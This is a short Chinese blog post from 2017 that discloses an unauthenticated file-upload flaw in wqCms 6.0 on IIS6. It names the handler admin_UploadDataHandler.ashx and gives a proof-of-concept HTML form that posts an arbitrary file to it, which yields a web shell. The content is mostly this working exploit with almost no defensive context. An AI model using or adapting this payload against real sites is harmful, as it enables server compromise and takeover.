wqCms6.0在IIS6的Getshell
2017-02-15发布
一、漏洞利用点
漏洞文件:admin_UploadDataHandler.ashx 自定义构造上传点
二、hack it
三、POC
<html>
<body>
<form action="http://127.0.0.1/admin_UploadDataHandler.ashx" method="POST"enctype="multipart/form-data">
<input type="file" name="uploadify" />
<input type="text" name="saveFile" value="admin" />
<input type="submit" name="Upload" value="Submit Query" />
</form>
</body>
</html>
转自群友论坛文章wobushou
本文作者：Akkuman
本文链接：https://www.cnblogs.com/Akkuman/p/6959308.html
版权声明：本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE，深度理解中文开发场景，立即下载体验Trae
【推荐】编程新体验，更懂你的AI，立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包，你的智能百科全书，全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell：AI 加持，快人一步